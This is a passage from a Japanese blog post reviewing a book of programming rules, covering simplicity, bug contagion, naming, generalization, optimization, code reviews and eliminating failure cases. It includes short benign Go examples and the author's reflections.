シンプルさを意識し、複雑さの増大を最小限に抑える努力が必要です。ja.wikipedia.orgシンプルさの測定シンプルさを測る方法について、著者はいくつかの観点を提示しています。コードの理解のしやすさコードの作成の容易さコードの量導入される新しい概念の数説明に要する時間これらの観点は、実際の開発現場でも有用な指標となります。例えば、コードレビューの際に、これらの観点を基準として用いることで、より客観的な評価が可能になります。シンプルさと正確さのバランス著者は、シンプルさを追求する一方で、問題の要件を満たすことの重要性も強調しています。この点は特に重要で、単純に「シンプルなコード」を書くことが目的ではなく、問題を正確に解決しつつ、可能な限りシンプルな実装を目指すべきだということを意味します。例として、著者は階段の昇り方のパターン数を計算する問題を取り上げています。この問題に対して、再帰的な解法、メモ化を用いた解法、動的計画法を用いた解法など、複数のアプローチを示しています。各アプローチの利点と欠点を比較することで、シンプルさと性能のトレードオフを具体的に示しています。コードの重複とシンプルさ著者は、コードの重複を避けることが必ずしもシンプルさにつながるわけではないという興味深い観点を提示しています。小規模な重複は、時としてコードの可読性を高め、理解を容易にする場合があるという主張は、多くの開発者にとって新鮮な視点かもしれません。この主張は、DRY(Don\'t Repeat Yourself)原則と一見矛盾するように見えますが、著者の意図は、原則を盲目的に適用するのではなく、状況に応じて適切な判断を下すべきだということです。小規模な重複を許容することで、コードの全体的な構造がシンプルになり、理解しやすくなる場合があるという指摘は、実務的な視点から重要です。まとめ著者は、プログラミングにおけるシンプルさの追求が、単なる美学的な問題ではなく、プロジェクトの成功に直結する重要な要素であることを強調しています。複雑さとの戦いは永続的なものであり、シンプルさを維持する努力は決して終わることがありません。しかし、この努力は決して無駄ではありません。著者自身の25年にわたるプロジェクト経験が示すように、複雑さを制御し続けることで、長期的な進化と成功が可能になります。この章は、プログラミングの本質的な課題に光を当て、実践的なアプローチを提示しています。シンプルさの追求は、単にコードを書く技術だけでなく、問題の本質を理解し、最適な解決策を見出す能力を要求します。これは、ソフトウェア開発の技術と言えるでしょう。最後に、この章の教訓は、特定の言語や環境に限定されるものではありません。シンプルさの追求は、あらゆるプログラミング言語、開発環境、そしてプロジェクトの規模に適用可能な普遍的な原則です。この原則を心に留め、日々の開発作業に活かしていくことが、真に優れたソフトウェアエンジニアへの道となるのです。Rule 2. Bugs Are Contagious第2章「Bugs Are Contagious」は、ソフトウェア開発における重要な課題の一つであるバグの性質と、その対処法について深く掘り下げています。著者は、バグが単なる孤立した問題ではなく、システム全体に影響を及ぼす「伝染性」を持つという洞察を提示しています。この章を通じて、バグの早期発見と対処の重要性、そしてそれを実現するための具体的な方法論が示されています。完全な余談なのですがこの章の内容は、一見「割れ窓理論」を想起させますが、最近の研究ではこの理論の妥当性に疑問が投げかけられています。例えば、「Science Fictions あなたが知らない科学の真実」では、有名な科学実験の再検証だけでなく、科学研究の制度的な問題点や改善策についても論じられています。Science Fictions あなたが知らない科学の真実作者:スチュアート・リッチーダイヤモンド社Amazonこの書籍は、科学研究の信頼性向上のための追試制度の提案や査読プロセスの改善など、建設的な内容を含んでおり、科学的知見の批判的検討の重要性を示唆しています。「割れ窓理論」は本書では直接言及されていませんが、同様に再検証が必要とされる理論の一つとして考えられています。例えで出したら後輩に指摘されてしまうかもしれません。バグの伝染性著者は、バグが存在すると、他の開発者が意図せずにそのバグに依存したコードを書いてしまう可能性があると指摘しています。これは、バグが単に局所的な問題ではなく、システム全体に影響を及ぼす「伝染性」を持つことを意味します。例えば、あるモジュールのバグが、そのモジュールを利用する他の部分にも影響を与え、結果として複数の箇所で問題が発生するという状況です。この洞察は、日々の開発現場でも当てはまるものです。例えば、APIの仕様にバグがあると、それを利用する多くのクライアントコードが影響を受けることがあります。そのため、バグの早期発見と修正が極めて重要になります。早期発見の重要性著者は、バグを早期に発見することの重要性を強調しています。バグが長期間放置されるほど、それに依存したコードが増え、修正が困難になるというわけです。これは、多くの開発者が経験的に知っていることかもしれませんが、著者はこれを「entanglement(絡み合い)」という概念で説明しています。実際の開発現場では、この「entanglement」の問題は頻繁に発生します。例えば、あるライブラリのバグを修正したら、それを使用していた多くのアプリケーションが動かなくなるという事態は珍しくありません。これは、アプリケーションがバグの振る舞いに依存していたためです。自動テストの重要性著者は、バグの早期発見のための主要な手段として、自動テストの重要性を強調しています。継続的な自動テストを行うことで、バグを早期に発見し、「entanglement」の問題を最小限に抑えることができるというわけです。しかし、著者も認めているように、自動テストの導入には課題もあります。例えば、ゲーム開発のような主観的な要素が大きい分野では、すべての要素を自動テストでカバーすることは困難です。また、テストの作成自体にも多くの時間とリソースが必要になります。ステートレスコードの利点著者は、テストを容易にするための一つの方法として、ステートレスなコードの作成を推奨しています。ステートを持たない純粋な関数は、入力に対して常に同じ出力を返すため、テストが容易になります。これは、実際の開発現場でも有効な方法です。例えば、以下のようなGolangのコードを考えてみます。func sumVector(values []int) int { sum := 0 for _, value := range values { sum += value } return sum}このような純粋関数は、入力と出力の関係が明確で、副作用がないため、テストが容易です。一方、状態を持つコードは、その状態によって振る舞いが変わるため、テストが複雑になりがちです。内部監査の重要性著者は、完全にステートレスにできない場合の対策として、内部監査(internal auditing)の重要性を指摘しています。これは、コード内部で自己チェックを行うメカニズムを実装することで、状態の一貫性を保つ方法です。例えば、Golangでは以下のように実装できます。type Character struct { // フィールド省略}func (c *Character) audit() { // 内部状態の一貫性をチェック if /* 一貫性が破れている */ { panic(\\"Character state is inconsistent\\") }}このような内部監査を適切に配置することで、状態の不整合を早期に発見し、デバッグを容易にすることができます。呼び出し側を信頼しない著者は、「呼び出し側を信頼しない」という重要な原則を提示しています。これは、APIを設計する際に、不正な引数や不適切な使用方法を想定し、それらを適切に処理することの重要性を示しています。例えば、Golangでは以下のように実装できます。type ObjectID struct { index int generation int}func (s *Simulator) isObjectIDValid(id ObjectID) bool { return id.index >= 0 && id.index < len(s.indexGenerations) && s.indexGenerations[id.index] == id.generation}func (s *Simulator) getObjectState(id ObjectID) (ObjectState, error) { if !s.isObjectIDValid(id) { return ObjectState{}, errors.New(\\"invalid object ID\\") } // 以下、正常な処理}このようなチェックを実装することで、APIの誤用を早期に検出し、デバッグを容易にすることができます。まとめ著者は、バグの「伝染性」という概念を通じて、早期発見と対処の重要性を強調しています。自動テスト、ステートレスなコード設計、内部監査、そして堅牢なAPIデザインなど、様々な手法を組み合わせることで、バグの影響を最小限に抑えることができると主張しています。これらの原則は、実際の開発現場でも有効です。特に、マイクロサービスアーキテクチャやサーバーレスコンピューティングが主流となっている現代のソフトウェア開発では、ステートレスなコード設計の重要性が増しています。また、CI/CDパイプラインの普及により、継続的な自動テストの実施が容易になっています。しかし、著者も認めているように、これらの原則をすべての状況で完全に適用することは難しい場合もあります。例えば、レガシーシステムの保守や、リアルタイム性が要求される組み込みシステムの開発など、制約の多い環境では、これらの原則の適用に工夫が必要になるでしょう。結論として、この章で提示されている原則は、バグの早期発見と対処を通じて、ソフトウェアの品質と保守性を高めるための重要な指針となります。これらの原則を理解し、プロジェクトの特性に応じて適切に適用することが、開発者には求められるのです。Rule 3. A Good Name Is the Best Documentation第3章「A Good Name Is the Best Documentation」は、プログラミングにおける命名の重要性を深く掘り下げています。著者は、適切な命名がコードの理解しやすさと保守性に大きな影響を与えることを強調し、良い命名がいかに効果的なドキュメンテーションになり得るかを説明しています。この章では、命名の原則から具体的なプラクティス、そして命名規則の一貫性の重要性まで、幅広いトピックがカバーされています。著者の経験に基づく洞察は、日々のコーディング作業から大規模プロジェクトの設計まで、様々な場面で適用できる実践的なアドバイスとなっています。言葉の形と意味の関連性については例えば、「ゴロゴロ」という言葉が雷の音を模倣しているように、言葉の音や形が、その意味を直接的に表現している場合があります。この概念は、プログラミングの命名にも応用できる可能性があります。機能や役割を直感的に表現する変数名やメソッド名を選ぶことで、コードの理解しやすさを向上させることができるかもしれません。ただし、プログラムの複雑化に伴い、単純な音や形の類似性だけでは不十分になる場合もあるため、コンテキストや他の命名規則との整合性も考慮する必要があります。言語の本質 ことばはどう生まれ、進化したか (中公新書)作者:今井むつみ,秋田喜美中央公論新社Amazon命名の重要性著者は、シェイクスピアの「ロミオとジュリエット」を引用しながら、名前の持つ力について語り始めます。「バラはどんな名前で呼んでも、同じように甘い香りがする」というジュリエットの台詞を、プログラミングの文脈で解釈し直しています。著者の主張は明確です。コードにおいて、名前は単なるラベル以上の意味を持つのです。適切な名前は、そのコードの目的や機能を即座に伝える強力なツールとなります。これは、コードを書く時間よりも読む時間の方が圧倒的に長いという現実を考えると、重要な指摘です。実際の開発現場でも、この原則の重要性は日々実感されます。例えば、数ヶ月前に書いたコードを見直す時、適切な名前付けがされていれば、コードの意図を素早く理解できます。逆に、意味の曖昧な変数名やメソッド名に遭遇すると、コードの解読に余計な時間を取られてしまいます。最小限のキーストロークを避ける著者は、変数名や関数名を短くすることで、タイピング時間を節約しようとする傾向について警告しています。これは特に、経験の浅い開発者や古い時代のプログラミング習慣を持つ開発者に見られる傾向です。例として、複素数の多項式を評価する関数のコードが示されています。最初の例では、変数名が極端に短く、コードの意図を理解するのが困難です。一方、適切な名前を使用した第二の例では、コードの意図が明確になり、理解しやすくなっています。// 悪い例func cp(n int, rr, ii []float64, xr, xi float64) (yr, yi float64) { // ... (省略)}// 良い例func evaluateComplexPolynomial(degree int, realCoeffs, imagCoeffs []float64, realX, imagX float64) (realY, imagY float64) { // ... (省略)}この例は、適切な命名がいかにコードの可読性を向上させるかを明確に示しています。長い名前を使用することで、コードを書く時間は若干増えるかもしれませんが、それ以上に読む時間と理解する時間が大幅に短縮されます。命名規則の一貫性著者は、プロジェクト内で一貫した命名規則を使用することの重要性を強調しています。異なる命名規則が混在すると、コードの理解が困難になり、認知負荷が増大します。例えば、自作のコンテナクラスと標準ライブラリのコンテナクラスを混在して使用する場合、命名規則の違いによって混乱が生じる可能性があります。著者は、可能な限り一貫した命名規則を採用し、外部ライブラリの使用を最小限に抑えることを提案しています。実際の開発現場では、チーム全体で一貫した命名規則を採用することが重要です。例えば、Golangでは以下のような命名規則が一般的です。// 良い例type User struct { ID int FirstName string LastName string}func (u *User) FullName() string { return u.FirstName + \\" \\" + u.LastName}// 悪い例(一貫性がない)type customer struct { id int first_name string LastName string}func (c *customer) get_full_name() string { return c.first_name + \\" \\" + c.LastName}この例では、良い例では一貫してキャメルケースを使用し、構造体名は大文字で始まっています。一方、悪い例では命名規則が混在しており、理解が困難になっています。機械的な命名規則の利点著者は、可能な限り機械的な命名規則を採用することを推奨しています。これにより、チームメンバー全員が自然に同じ名前を選択するようになり、コードベース全体の一貫性が向上します。著者の所属するSucker Punchでは、Microsoftのハンガリアン記法の変種を使用しているそうです。例えば、iFactionは配列内のインデックスを、vpCharacterはキャラクターへのポインタのベクトルを表します。これは興味深いアプローチですが、現代のプログラミング言語やIDE環境では必ずしも必要ないかもしれません。例えば、Golangでは型推論が強力で、IDEのサポートも充実しています。そのため、以下のような命名規則でも十分に明確であり、かつ読みやすいコードを書くことができます。func ProcessUsers(users []User, activeOnly bool) []User { var result []User for _, user := range users { if !activeOnly || user.IsActive { result = append(result, user) } } return result}この例では、変数の型や用途が名前自体から明確に分かります。usersは複数のユーザーを表す配列、activeOnlyはブール値のフラグ、resultは処理結果を格納する配列です。まとめ著者は、良い命名が最良のドキュメンテーションであるという主張を、様々な角度から論じています。適切な命名は、コードの意図を即座に伝え、保守性を高め、チーム全体の生産性を向上させます。一方で、命名規則に関しては、プロジェクトやチームの状況に応じて柔軟に対応することも重要です。例えば、レガシーコードベースを扱う場合や、異なる背景を持つ開発者が協働する場合など、状況に応じた判断が求められます。私の経験上、最も重要なのはチーム内での合意形成です。どのような命名規則を採用するにせよ、チーム全体がその規則を理解し、一貫して適用することが、コードの可読性と保守性を高める鍵となります。また、命名規則は時代とともに進化することも忘れてはいけません。例えば、かつては変数名の長さに制限があったため短い名前が好まれましたが、現代の開発環境ではそのような制限はほとんどありません。そのため、より説明的で長い名前を使用することが可能になっています。結論として、良い命名はコードの品質を大きく左右する重要な要素です。it\'s not just about writing code, it\'s about writing code that tells a story. その物語を明確に伝えるために、私たちは日々、より良い命名を追求し続ける必要があるのです。Rule 4. Generalization Takes Three Examples第4章「Generalization Takes Three Examples」は、ソフトウェア開発における一般化(generalization)の適切なタイミングと方法について深く掘り下げています。著者は、コードの一般化が重要でありながらも、早すぎる一般化が引き起こす問題について警鐘を鳴らしています。この章を通じて、プログラマーが日々直面する「特定の問題を解決するコードを書くべきか、それとも汎用的な解決策を目指すべきか」というジレンマに対する洞察を提供しています。この章の内容は、認知心理学の知見とも関連しており、即座に解決策を求める直感的な思考は特定の問題に対する迅速な解決をもたらす一方で過度の一般化につながる危険性がある一方、より慎重で分析的な思考は複数の事例を比較検討し適切なレベルの一般化を導く可能性が高くなるため、著者が提案する「3つの例則」は、より適切な一般化を実現するための実践的なアプローチとして、ソフトウェア開発における意思決定プロセスを理解し改善するための新たな洞察を提供してくれるでしょう。ファスト&スロー (上)作者:ダニエル カーネマン,村井 章子早川書房Amazon一般化の誘惑著者は、プログラマーが一般的な解決策を好む傾向について語ることから始めます。例えば、赤い看板を見つける関数を書く代わりに、色を引数として受け取る汎用的な関数を書くことを選ぶプログラマーが多いと指摘しています。// 特定の解決策func findRedSign(signs []Sign) *Sign { for _, sign := range signs { if sign.Color() == Color.Red { return &sign } } return nil}// 一般的な解決策func findSignByColor(signs []Sign, color Color) *Sign { for _, sign := range signs { if sign.Color() == color { return &sign } } return nil}この例は、多くのプログラマーにとって馴染み深いものでしょう。私自身、これまでの経験で何度も同様の選択を迫られてきました。一般的な解決策を選ぶ理由として、将来的な拡張性や再利用性を挙げる人が多いですが、著者はここで重要な問いを投げかけています。本当にその一般化は必要なのか?YAGNIの原則著者は、XP(エクストリーム・プログラミング)の原則の一つである「YAGNI」(You Ain\'t Gonna Need It:それは必要にならないよ)を引用しています。この原則は、実際に必要になるまで機能を追加しないことを提唱しています。こういう原則は『プリンシプル オブ プログラミング3年目までに身につけたい一生役立つ101の原理原則』を読めば一通り読めるのでおすすめです。プリンシプル オブ プログラミング 3年目までに身につけたい 一生役立つ101の原理原則作者:上田勲秀和システムAmazon例えば、看板検索の例をさらに一般化して、色だけでなく、場所やテキストなども検索できるようにした SignQuery 構造体を考えてみます。type SignQuery struct { Colors []Color Location Location MaxDistance float64 TextPattern string}func findSigns(query SignQuery, signs []Sign) []Sign { // 実装省略}この SignQuery は柔軟で強力に見えますが、著者はこのアプローチに警鐘を鳴らします。なぜなら、この一般化された構造は、実際には使用されない機能を含んでいる可能性が高いからです。さらに重要なことに、この一般化された構造は、将来の要件変更に対して柔軟に対応できないかもしれません。3つの例則著者は、一般化を行う前に少なくとも3つの具体的な使用例を見るべきだと主張します。これは、良い視点だと思いました。1つや2つの例では、パターンを正確に把握するには不十分で、誤った一般化を導く可能性があります。3つの例を見ることで、より正確なパターンの把握と、より控えめで適切な一般化が可能になるという考えは説得力があります。実際の開発現場では、この「3つの例則」を厳密に適用するのは難しいかもしれません。しかし、この原則を意識することで、早すぎる一般化を避け、より適切なタイミングで一般化を行うことができるでしょう。過度な一般化の危険性著者は、過度に一般化されたコードがもたらす問題について詳しく説明しています。特に印象的だったのは、一般化されたソリューションが「粘着性」を持つという指摘です。つまり、一度一般化された解決策を採用すると、それ以外の方法を考えるのが難しくなるということです。例えば、findSigns 関数を使って赤い看板を見つけた後、他の種類の看板を見つける必要が出てきたとき、多くのプログラマーは自然と findSigns 関数を拡張しようとするでしょう。しかし、これが必ずしも最適な解決策とは限りません。// 過度に一般化された関数func findSigns(query ComplexQuery, signs []Sign) []Sign { // 複雑な実装}// 単純で直接的な解決策func findBlueSignsOnMainStreet(signs []Sign) []Sign { var result []Sign for _, sign := range signs { if sign.Color() == Color.Blue && isOnMainStreet(sign.Location()) { result = append(result, sign) } } return result}この例では、findSigns を使用するよりも、直接的な解決策の方がシンプルで理解しやすいことがわかります。著者の主張は、一般化されたソリューションが常に最適とは限らず、時には直接的なアプローチの方が優れている場合があるということです。まとめ著者の「Generalization Takes Three Examples」という原則は、ソフトウェア開発における重要な洞察を提供しています。早すぎる一般化の危険性を認識し、具体的な使用例に基づいて慎重に一般化を進めることの重要性を強調しています。この原則は、特に大規模なプロジェクトや長期的なメンテナンスが必要なシステムにおいて重要です。過度に一般化されたコードは、短期的には柔軟性をもたらすように見えても、長期的には理解や修正が困難になる可能性があります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。早すぎる一般化によって複雑化してしまったコードや、逆に一般化が足りずに重複だらけになってしまったコードなど、様々な失敗を思い出しました。最後に、著者の「ハンマーを持つと全てが釘に見える」という比喩は的確だと感じました。一般化されたソリューションは強力なツールですが、それが全ての問題に適しているわけではありません。適切なタイミングで適切なレベルの一般化を行うこと、そしてそのために具体的な使用例をしっかりと観察することの重要性を、この章から学ぶことができました。今後の開発では、「本当にこの一般化が必要か?」「具体的な使用例は十分にあるか?」という問いを常に意識しながら、より適切な設計とコーディングを心がけていきたいと思います。Rule 5. The First Lesson of Optimization Is Don\'t Optimize第5章「The First Lesson of Optimization Is Don\'t Optimize」は、ソフトウェア開発における最も誤解されやすい、そして最も議論を呼ぶトピックの一つである最適化について深く掘り下げています。著者は、最適化に対する一般的な考え方に挑戦し、実践的かつ効果的なアプローチを提案しています。この章では、最適化の本質、その落とし穴、そして効果的な最適化の方法について詳細に解説されています。著者の経験に基づく洞察は、日々のコーディング作業から大規模プロジェクトの設計まで、様々な場面で適用できる実践的なアドバイスとなっています。センスの哲学 (文春e-book)作者:千葉 雅也文藝春秋Amazon最適化の誘惑著者は、最適化が多くのプログラマーにとって魅力的なタスクであることを認めています。最適化は、その成功を明確に測定できるという点で、他のプログラミングタスクとは異なります。しかし、著者はこの誘惑に警鐘を鳴らします。ここで著者が引用しているドナルド・クヌースの言葉は、多くのプログラマーにとってお馴染みのものです。小さな効率性については97%の時間を忘れるべきである:早すぎる最適化は諸悪の根源である。この言葉は、最適化に対する慎重なアプローチの必要性を強調しています。著者は、この原則が現代のソフトウェア開発においても依然として重要であることを主張しています。最適化の第一の教訓著者が強調する最適化の第一の教訓は、「最適化するな」というものです。これは一見矛盾しているように見えますが、著者の意図は明確です。最初から最適化を意識してコードを書くのではなく、まずはシンプルで明確なコードを書くべきだというのです。この原則を実践するための具体例として、著者は重み付きランダム選択の関数を挙げています。最初の実装は以下のようなものです。func chooseRandomValue(weights []int, values []interface{}) interface{} { totalWeight := 0 for _, weight := range weights { totalWeight += weight } selectWeight := rand.Intn(totalWeight) for i, weight := range weights { selectWeight -= weight if selectWeight < 0 { return values[i] } } panic(\\"Unreachable\\")}この実装は単純明快で、理解しやすいものです。著者は、この段階で最適化を考えるのではなく、まずはこのシンプルな実装で十分だと主張します。最適化の第二の教訓著者が提唱する最適化の第二の教訓は、「シンプルなコードは簡単に最適化できる」というものです。著者は、未最適化のコードであれば、大きな労力をかけずに5倍から10倍の速度向上を達成できると主張します。この主張を実証するため、著者は先ほどのchooseRandomValue関数の最適化に挑戦します。著者が提案する最適化のプロセスは以下の5ステップです。プロセッサ時間を測定し、属性付けするバグでないことを確認するデータを測定する計画とプロトタイプを作成する最適化し、繰り返すこのプロセスに従って最適化を行った結果、著者は元の実装の約12倍の速度を達成しました。これは、著者の「5倍から10倍の速度向上」という主張を裏付けるものです。過度な最適化の危険性著者は、一度目標の速度向上を達成したら、それ以上の最適化は避けるべきだと警告しています。これは、過度な最適化が複雑性を増し、コードの可読性や保守性を損なう可能性があるためです。著者自身、さらなる最適化のアイデアを持っていることを認めていますが、それらを追求する誘惑に抗うことの重要性を強調しています。代わりに、それらのアイデアをコメントとして残し、将来必要になった時のために保存しておくことを提案しています。まとめ著者の「最適化するな」という主張は、一見すると直感に反するものかもしれません。しかし、この原則の本質は、「適切なタイミングまで最適化を延期せよ」ということです。この章から学べる重要な教訓は以下のとおりです。シンプルで明確なコードを書くことを最優先せよ。本当に必要になるまで最適化を行わない。最適化が必要になった時、シンプルなコードなら容易に最適化できる。最適化は計測と分析に基づいて行うべきで、勘や推測に頼るべきではない。目標を達成したら、それ以上の最適化は避ける。これらの原則は、特に大規模なプロジェクトや長期的なメンテナンスが必要なシステムにおいて重要です。早すぎる最適化は、短期的にはパフォーマンス向上をもたらすかもしれませんが、長期的にはコードの複雑性を増大させ、保守性を低下させる可能性があります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。早すぎる最適化によって複雑化してしまったコードや、逆に最適化の機会を見逃してしまった事例など、様々な経験が思い出されます。最後に、著者の「Pythonで高頻度取引アプリケーションを書いてしまっても、必要な部分だけC++に移植すれば50倍から100倍の速度向上が得られる」という指摘は、示唆に富んでいます。これは、最適化の問題に柔軟にアプローチすることの重要性を示しています。今後の開発では、「本当にこの最適化が必要か?」「この最適化によってコードの複雑性がどの程度増すか?」という問いを常に意識しながら、より適切な設計とコーディングを心がけていきたいと思います。最適化は確かに重要ですが、それ以上に重要なのは、シンプルで理解しやすく、保守性の高いコードを書くことなのです。Rule 6. Code Reviews Are Good for Three Reasons第6章「コードレビューが良い3つの理由」は、ソフトウェア開発プロセスにおけるコードレビューの重要性と、その多面的な利点について深く掘り下げています。著者は、自身の30年以上にわたるプログラミング経験を基に、コードレビューの進化と現代のソフトウェア開発における不可欠な役割を論じています。この章では、コードレビューが単なるバグ発見のツールではなく、知識共有、コード品質向上、そしてチーム全体の生産性向上に寄与する重要な実践であることを示しています。著者の洞察は、現代のアジャイル開発やDevOpsの文脈においても関連性が高く、多くの開発チームにとって有益な示唆を提供しています。コードレビューの効果を最大化するためには、適切なフィードバック方法を考慮することが重要であり、建設的なフィードバックの与え方や受け手の心理を考慮したコミュニケーション方法を学ぶことで、ポジティブな点も含めたバランスのとれたコメント、明確で具体的な改善提案、相手の立場を尊重した表現方法などを活用し、コードレビューを単なる技術的な確認作業ではなくチームの成長と協力を促進する貴重な機会として活用することで、チーム全体のコミュニケーションが改善され、結果としてソフトウェア開発プロセス全体の効率と品質が向上するでしょう。みんなのフィードバック大全作者:三村 真宗光文社Amazonコードレビューの進化著者は、コードレビューが過去30年間でどのように進化してきたかを振り返ることから始めます。かつてはほとんど行われていなかったコードレビューが、現在では多くの開発チームで標準的な実践となっていることを指摘しています。この変化は、ソフトウェア開発の複雑化と、チーム開発の重要性の増大を反映しているように思います。個人的な経験を踏まえると、10年前と比べても、コードレビューの重要性に対する認識は格段に高まっていると感じます。特に、オープンソースプロジェクトの台頭や、GitHubなどのプラットフォームの普及により、コードレビューの文化はさらに広がっていると言えるでしょう。近年、生成AIを活用したコードレビューツールも注目を集めています。例えばPR-agentやGitHub Copilot pull requestは、AIがプルリクエストを分析し、フィードバックを提供します。このようなツールは、人間のレビューアーを補完し、効率的なコード品質管理を可能にします。ただし、AIによるレビューには限界もあります。コンテキストの理解や創造的な問題解決など、人間のレビューアーの強みは依然として重要です。そのため、AIツールと人間のレビューを組み合わせたハイブリッドアプローチが、今後のベストプラクティスとなる可能性があります。コードレビューの3つの利点著者は、コードレビューには主に3つの利点があると主張しています。バグの発見知識の共有コード品質の向上これらの利点について、著者の見解を踏まえつつ、現代のソフトウェア開発の文脈で考察してみます。1. バグの発見著者は、バグ発見がコードレビューの最も明白な利点であるものの、実際にはそれほど効果的ではないと指摘しています。確かに、私の経験でも、コードレビューで見つかるバグは全体の一部に過ぎません。しかし、ここで重要なのは、コードレビューにおけるバグ発見のプロセスです。著者が指摘するように、多くの場合、バグはレビューを受ける側が説明する過程で自ら気づくことが多いのです。これは、ラバーダッキング手法の一種と見なすこともできます。2. 知識の共有著者は、コードレビューが知識共有の優れた方法であると強調しています。これは、現代の開発環境において特に重要な点です。技術の進化が速く、プロジェクトの規模が大きくなる中で、チーム全体の知識レベルを均一に保つことは難しくなっています。コードレビューは、この課題に対する効果的な解決策の一つです。著者が提案する「シニア」と「ジュニア」の組み合わせによるレビューは、特に有効だと考えます。ただし、ここでの「シニア」「ジュニア」は、必ずしも経験年数ではなく、特定の領域やプロジェクトに対する知識の深さを指すと解釈するべきでしょう。3. コード品質の向上著者は、コードレビューの最も重要な利点として、「誰かが見るということを知っていると、みんなより良いコードを書く」という点を挙げています。この指摘は的を射ていると思います。人間の心理として、他人に見られることを意識すると、自然とパフォーマンスが向上します。これは、ソフトウェア開発においても例外ではありません。コードレビューの存在自体が、コード品質を向上させる強力な動機付けとなるのです。コードレビューの実践著者は、自社でのコードレビューの実践について詳しく説明しています。リアルタイムで、インフォーマルに、対話形式で行われるこのアプローチは、多くの利点があります。特に印象的なのは、レビューをダイアログとして捉える視点です。一方的なチェックではなく、相互の対話を通じて理解を深めていくこのアプローチは、知識共有と問題発見の両面で効果的です。一方で、この方法はリモートワークが増加している現代の開発環境では、そのまま適用するのが難しい場合もあります。しかし、ビデオ会議ツールやペアプログラミングツールを活用することで、類似の効果を得ることは可能です。まとめ著者の「コードレビューには3つの良い理由がある」という主張は、説得力があります。バグの発見、知識の共有、コード品質の向上という3つの側面は、いずれも現代のソフトウェア開発において重要な要素です。しかし、これらの利点を最大限に引き出すためには、著者が強調するように、コードレビューを単なる形式的なプロセスではなく、チームのコミュニケーションと学習の機会として捉えることが重要です。個人的な経験を踏まえると、コードレビューの質は、チームの文化と深く関連していると感じます。オープンで建設的なフィードバックを歓迎する文化、継続的な学習を重視する文化を育てることが、効果的なコードレビューの前提条件となるでしょう。また、著者が指摘する「禁止されたコードレビュー」(ジュニア同士のレビュー)については、少し異なる見解を持ちます。確かに、知識の誤った伝播というリスクはありますが、ジュニア同士であっても、互いの視点から学ぶことはあると考えます。ただし、これには適切な監視とフォローアップが必要です。最後に、コードレビューは決して完璧なプロセスではありません。著者も認めているように、全てのバグを見つけることはできません。しかし、それでもコードレビューは、ソフトウェアの品質向上とチームの成長に大きく貢献する貴重な実践であることは間違いありません。今後の開発プロジェクトでは、この章で学んだ洞察を活かし、より効果的なコードレビューの実践を目指していきたいと思います。特に、レビューをより対話的なプロセスにすること、知識共有の機会として積極的に活用すること、そしてチーム全体のコード品質向上への意識を高めることを意識していきたいと考えています。Rule 7. Eliminate Failure Cases第7章「Eliminate Failure Cases」は、ソフトウェア開発における失敗ケースの排除という重要なトピックを深く掘り下げています。この章を通じて、著者は失敗ケースの排除がプログラムの堅牢性と信頼性を高める上で不可欠であることを強調し、その実践的なアプローチを提示しています。失敗の科学作者:マシュー・サイドディスカヴァー・トゥエンティワンAmazon失敗ケースとは何か著者はまず、失敗ケースの定義から始めています。失敗ケースとは、プログラムが想定外の動作をする可能性のある状況のことです。例えば、ファイルの読み込みに失敗したり、ネットワーク接続が切断されたりする場合などが挙げられます。著者は、これらの失敗ケースを完全に排除することは不可能だが、多くの場合で回避または最小化できると主張しています。この考え方は、エラーハンドリングに対する従来のアプローチとは異なります。多くの開発者は、エラーが発生した後にそれをどう処理するかに焦点を当てがちですが、著者はエラーが発生する可能性自体を減らすことに重点を置いています。これは、防御的プログラミングの一歩先を行く考え方だと言えるでしょう。失敗ケースの排除方法著者は、失敗ケースを排除するための具体的な方法をいくつか提示しています。型安全性の活用:強い型付けを持つ言語を使用することで、多くの失敗ケースを compile time に検出できます。nullの回避:null参照は多くのバグの源となるため、できる限り避けるべきです。Optionalパターンなどの代替手段を使用することを推奨しています。不変性の活用:データを不変に保つことで、予期せぬ状態変更による失敗を防ぐことができます。契約による設計:事前条件、事後条件、不変条件を明確に定義することで、関数やメソッドの正しい使用を強制できます。これらの方法は、単に失敗ケースを処理するのではなく、失敗ケースが発生する可能性自体を減らすことを目指しています。コンパイラの助けを借りる著者は、失敗ケースの排除においてコンパイラの重要性を強調しています。静的型付け言語のコンパイラは、多くの潜在的な問題を事前に検出できます。例えば、未使用の変数や、型の不一致などを検出し、コンパイル時にエラーを報告します。これは、動的型付け言語と比較して大きな利点です。動的型付け言語では、これらの問題が実行時まで検出されない可能性があります。著者は、可能な限り多くのチェックをコンパイル時に行うことで、実行時エラーのリスクを大幅に減らせると主張しています。設計による失敗ケースの排除著者は、適切な設計によって多くの失敗ケースを排除できると主張しています。例えば、状態機械(state machine)を使用することで、無効な状態遷移を防ぐことができます。また、ファクトリーメソッドパターンを使用することで、オブジェクトの不正な初期化を防ぐこともできます。これらの設計パターンを適切に使用することで、コードの構造自体が失敗ケースを排除する役割を果たすことができます。つまり、プログラムの設計段階から失敗ケースの排除を意識することの重要性を著者は強調しています。失敗ケース排除の限界著者は、全ての失敗ケースを排除することは不可能であることも認めています。例えば、ハードウェアの故障やネットワークの遮断など、プログラムの制御外の要因によるエラーは避けられません。しかし、著者はこれらの避けられない失敗ケースに対しても、その影響を最小限に抑える設計が可能だと主張しています。例えば、トランザクションの使用や、べき等性のある操作の設計などが、これらの戦略として挙げられています。これらの方法を使用することで、予期せぬエラーが発生しても、システムを一貫性のある状態に保つことができます。まとめ著者は、失敗ケースの排除が単なるエラーハンドリングの改善以上の意味を持つと主張しています。それは、プログラムの設計と実装の全体的な質を向上させる取り組みなのです。失敗ケースを排除することで、コードはより堅牢になり、バグの発生率が減少し、結果として保守性が向上します。この章から得られる重要な教訓は、エラーを処理する方法を考えるだけでなく、エラーが発生する可能性自体を減らすことに注力すべきだということです。これは、プログラミングの哲学的なアプローチの変更を意味します。私自身、この原則を実践することで、コードの品質が大幅に向上した経験があります。例えば、nullの使用を避け、Optionalパターンを採用することで、null pointer exceptionの発生率を大幅に減らすことができました。また、型安全性を重視することで、多くのバグを compile time 